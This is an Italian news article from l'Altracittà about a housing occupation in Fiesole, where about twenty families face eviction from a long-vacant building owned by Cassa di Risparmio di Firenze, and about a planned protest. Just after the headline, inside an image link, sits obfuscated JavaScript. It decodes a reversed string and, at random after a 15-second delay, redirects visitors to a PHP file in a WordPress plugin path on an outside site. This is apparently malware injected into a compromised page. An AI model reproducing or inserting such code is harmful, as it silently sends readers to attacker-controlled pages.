Sabato a Fiesole per difendere gli occupanti di via Buffalmacco dall'attacco delle banche

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$p$VTO6JhIH6WkCGAcPR=function(n){if (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == “string”) return $p$VTO6JhIH6WkCGAcPR.list[n].split(“”).reverse().join(“”);return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=[“‘php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and(this)” href=”http://www.altracitta.org/wp-content/uploads/2012/10/foto-300×224.jpg”>di Sara Capolungo per l’Altracittà

Dallo sfratto allo sgombero, il passo può essere fin troppo breve, soprattutto se di mezzo c’è una banca. È quello che sta per succedere a Fiesole a intere famiglie, italiane e straniere, che rischiano, dopo aver già subito lo sfratto, di dover vivere pure lo sgombero da un edificio da queste occupato. Piccolo particolare: l’immobile in questione è di proprietà della Cassa di Risparmio di Firenze, ed è vuoto da oltre 7 anni, abitato forse da qualche piccione.

“L’occupazione a Pian di Mugnone a Fiesole [che l’Altracittà aveva raccontato qui, ndr], è la prima occupazione a essere sotto sgombero. La richiesta di sgombero immediato è partita dalla stessa Cassa di Risparmio, proprietaria dell’immobile – spiegano dal Movimento di lotta per la casa – chiedendo un’immediata azione da parte delle istituzioni, Magistratura e Prefettura in primis, minacciando altrimenti denunce, alle stesse, per omissione di intervento”.

Nell’edificio di via Bulfamacco abitano, al momento, una ventina di famiglie, molte delle quali già raggiunte da esecuzioni di sfratto. “È bene ricordare che l’immobile è ufficialmente in vendita – precisano – e quindi non esiste un’immediata urgenza di liberare l’edificio. D’altra parte, questo è sfitto da oltre 7 anni”.

Il Movimento di lotta per la casa, e gli occupanti di Pian del Mugnone, avevano già protestato, una ventina di giorni fa, sotto la sede della banca per chiedere il ritiro della richiesta di sgombero e avviare, invece, una trattativa tra le parti: “La Cassa di Risparmio detiene un patrimonio immenso, circa 700 edifici tra Firenze e provincia, applicando affitti da capogiro, e molto inquilini sono sotto sfratto. Chiediamo quindi che vengano applicati – concludono – canoni di locazione stabiliti su criteri di equità sociale”.

Per sabato 27 ottobre è prevista un’altra manifestazione di protesta, a partire dalle 10, in piazza del comune di Fiesole.

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